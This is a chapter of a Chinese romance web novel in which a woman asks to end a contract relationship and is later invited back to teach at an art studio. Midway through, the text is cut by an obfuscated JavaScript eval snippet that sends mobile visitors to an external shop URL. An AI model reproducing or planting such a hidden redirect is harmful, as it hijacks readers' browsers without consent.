文趣网 > 其他小说 > 难以戒断 > 50. 第五十章
    “舒又,我们睡过。”

    “?”

    这话从对方嘴里说出让舒又感到不可思议,瞪大双眼,抱着被子僵在原地。

    对方见她如此神情,又淡淡开口,“不是吗?”

    睡有两层含义,睡觉跟睡觉。

    这两种她都经历过,脖颈悄悄攀上红,脸颊止不住发热。

    听对方这样问她,舒又也只能硬着头皮开口应他,“是吧。”

    “我困了。”

    男人说完迈步上了楼,走出几步,身后不见有脚步声,站定转身看去。

    人还站着沙发旁不动,他沉声喊道:“舒又,上来。”

    卧室,洗漱间,舒又穿着睡衣,站着镜子前,皮肤泛着薄薄一层红。

    虽说她不排斥但也不会主动提起,眼下对方如此直白的话,听的她耳躁很慌。

    舒又捧了捧水扑在脸上,试图压下热意。

    从洗漱间出来时,脸上红意不降反而连着耳尖都红透。

    卧室床边两侧亮着两盏床头小灯,本空着放衣服的地方此刻多了一个人。

    男人半依靠坐着,鼻梁上带着她的眼镜,手中拿着一本书。

    察觉到动静,喻辽安收起手抬眼看去,将书合上放一侧,盯着她拍了拍身侧空位。

    舒又左眼不受控跳了几下,小步走过去,掀开被子钻进去。

    太羞耻,她背过身,拉过被子盖住脸。

    下一秒,身旁人动了动,一道热源挨近自己,将身上冷气驱散。

    “好了吗?”

    “嗯...”舒又有些紧张闭着眼,头顶传来平缓呼吸,紧接着。

    啪一声,床头灯被人关上,在紧接啪的一声,整个屋子陷入黑暗。

    安静了几分钟,舒又悄悄探出头,目光盯向天花板。

    还好,只是睡觉,悄悄松了口气,又回身偷瞄了身侧人一眼,手伸进枕头下摸出手机。

    将手机调成静音亮度调低,刚解锁,腰上落了一道重量。

    舒又支撑身子刚要起身,横在腰间手微微用力,她整个人不受控向后倒去。

    她慌一瞬,背不小心撞到对方胸口。

    只听身后男人闷哼一声,她连忙问起,“你没事吧。”

    “...没事。”喻辽安微不可察重重缓了口气,将人往自己怀里带了带,安抚道,“睡吧。”

    “好...。”

    舒又闭着眼,脑里乱糟糟,始终睡不着。

    她睁开眼,眸光落到身后人身上,极轻声音喊着对方。

    “喻辽安,你睡了吗?”

    “...。”

    “喻辽安,你睡着了吗?”

    男人有些不耐烦,拍了拍她,压低着声音应她,“还没。”

    “现在几点了。”

    “......。”喻辽安蹙眉,睁开眼看着她,语气带着几分烦闷,“你不睡只是为了问时间吗?”

    说完,大手捞过枕旁手机,掐亮屏幕,眯着眼看时间,“十一点,可以睡了吗?”

    “好。”舒又闭上眼,没安静几分钟,又睁开。

    “嗯。”在背后的男人嗯了声,肩膀抵在对方胸口,随着声音被震动发麻。

    “我有些好奇你跟她分手的原因。”

    “不合适。”男人薄唇轻启,语气平淡。

    “只是不合适吗?”舒又不解,“人与人之间是可以磨合的,只能磨合到一起。”

    顿了顿,她又问,“难道我跟你就合适了?”

    话音落,空气沉寂许久,久到舒又以为对方睡着了,喻辽安这才缓缓开口。

    “你想说什么?”

    舒又扭过身,面对着他。

    黑夜里亦可看清她明亮眼眸,喻辽安垂下眼,不再看向对方。

    “我想提前终止协议。”

    “理由。”男人声音低沉,却带了几分厉声。

    舒又愣了愣,显然没想到对方会问她理由。

    理由吗,没理由,只是单纯厌倦两人之前相处。

    男人目光落在她脸上,想起那日她手机里照片,神情愈发泛冷,语气冷硬,“我不同意。”

    “你凭什么不同意,当初不都说好了,想分开随时可以分开。”舒又作势要起身与人争辩,腰却被人死死叩住。

    喻辽安眼眸阴鸷盯着她,语气不容拒绝,“简直无稽之谈,睡觉。”

    “喻辽安!你这人怎么这样。”

    “舒小姐,我什么样你不是最清楚吗。”喻辽安冷嗤一声,收紧胳膊,将人拉回自己怀里。

    舒又气急了,也顾不得其他,用力拍打对方,“喻辽安,你松开。”

    男人闭着眼,纹丝不动,舒又拍的手掌发麻也不见腰间手有丝毫松动,深呼吸自我劝起自己,带着气入睡。

    窗外忽的一阵噼里啪啦声,紧接着大雨毫无征兆落下,打在窗上。

    随着雨,怀里人急促呼吸逐渐平缓,肩膀随之缓缓起伏又落下。

    “小伙子,你六亲缘浅,很难得偿所愿。”

    黑夜里,喻辽安蓦得睁开眼,胸腔起伏,呼吸急喘。

    “你命好,情却坎坷。”

    这句话在得偿所愿后面,是一个算命说的。

    那日过后便被他抛之脑后,今日脑中忽然间浮现出这句。

    喻辽安愣神许久,直至一股沁人心脾幽香飘进鼻息

    他闭上眼稍显几分脆弱,凑近头抵在对方脖颈,闻着她身上淡淡香味,搂紧怀中人。

    六亲缘浅吗,他只觉得这四个字可笑。

    一屋幽暗,一屋灯火通明。

    屋内亮着暖灯,心却不暖,柏淮远站在阳台上,一眨不眨,看着隔壁灯亮,灯灭。

    雨来的太突然,不过片刻,衬衫湿透,指尖夹着的香烟也被雨水浇灭。

    直至放在屋中手机响起铃声,柏淮远缓缓收回思绪,回到房中。

    “喂。”

    听筒那头人听到声音,一惊,“你声音怎么回事?”

    “没怎么。”柏淮远视线落在厨房,灶台上还温着锅。

    “是上天看我太帅吗,下雨为我刷路。”

    将火关上,柏淮远难以抑制喉间痒意,咳了几声,问他,“回来了?”

    “嗯哼,我不是提前跟你发信息了吗。”

    “忘记了。”

    听筒那头人冷哼一声,“来接我,下雨了,没车。”

    “......”

    缓了许久,柏淮远才应声,“好,地址发我。”

    *

    翌日八点,舒又裹着浴巾从浴室出来,带着一身水气,脸被蒸汽熏得红扑扑。

    放在床上手机响了响,她走过去接通,熟悉声音从听筒传出。

    “舒又。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829826|185852||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “徐老师?”

    “你有空吗?我想跟你聊聊。”

    舒又看了一眼时间,“什么时候?”

    那头顿了顿,一分钟后,重新传来声音,“现在。”

    对方语调急促,像是很着急,舒又愣一瞬,立马应声。

    “可以,哪里见面?”

    “昨日酒馆。”

    “好。”舒又应声,“我吹个头发这就过去。”

    挂断电话,说是吹个头发,只不过是拿吹风机随意吹了吹发顶,不会使发顶太过湿润而头疼。

    吹完又走进衣帽间拿了一身衣服,快速换上下楼。

    刚到一楼,却见喻辽安坐在自己沙发上,她略感疑惑对方不去公司吗?

    于是,她想着便也问出声,“你今日不去公司吗?”

    听到声音,坐在沙发办公的男人从电脑中抬起头向她看来,淡淡道:“不去。”

    “好吧。”也顾不得问其他,舒又快步走到玄关处,换鞋,顺嘴嘱咐道,“我出门一趟很快便回来,你想吃什么?”

    “随便。”

    “...行。”

    问完,人拿钥匙推开门出去。

    小酒馆距离家不远,到时,人却早早坐在沙发上等着自己。

    舒又捋了一把乱掉的刘海,平复呼吸,挂着笑,走上前,“抱歉徐老师,来晚了。”

    徐艺听到声音,放下手机,抬头看她又身上示意她坐。

    “喝点什么?”

    “都可以。”

    对方问她,“开车来的?”

    舒又嗯声。

    对方咂舌,嘴上说着,“还想跟你拼一拼酒呢。”手却招人要了杯果汁。

    果汁上的快,舒又接过道谢抿了口润喉,问起对方,“徐老师,你叫我来什么事。”

    “不是什么大事。”徐艺笑了笑,“我来想请你回来。”

    顿了顿,对方诚恳又说,“我想请你回画室,继续教那些孩子。”

    舒又呆一瞬,随后轻蹙起眉,“为什么?”

    “舒又,你辞职后准备干什么?”

    对方没答反问起她,舒又摇摇头,对她实话实说道:“不清楚。”

    “你这个时候走不觉得可惜吗?”

    不等舒又问她,对方接着道,“那群孩子,你教了那么久,临了快要考试了,你走了,他们还得适应新老师,与其这样,你倒不如带完他们年后再辞职,再去想自己到底想要什么?”

    “舒又,我知道你不回去的原因,丰收之所以叫丰收,是因为劳苦劳累那么长时间,不就是为了看到最终成果吗?农民一样,我们当老师的也一样。”

    “可我....”舒又被对方说的动容,心里却十分犹豫。

    画室此前所遭受的是她带来的,如若再因她遭受到迫害,她还如何与画室老师相处,何颜面面对他们。

    徐艺起身走到她身前,半蹲下身子拍在她肩,“舒又,你好好想想吧。”

    顿了顿,又补了句,“杉月挺想你的,还有你教的孩子。”

    舒又沉默一瞬,开口声音低哑,“徐老师,你容我想想。”

    “好,我不需要你今日的答案,但往日的答案,你可一定要给我。”徐艺说,“对了,聚会定下来了,在杉月说的地方,定的露营,你记得去,别拒绝,我没批你辞职,你还是独白画室的老师。”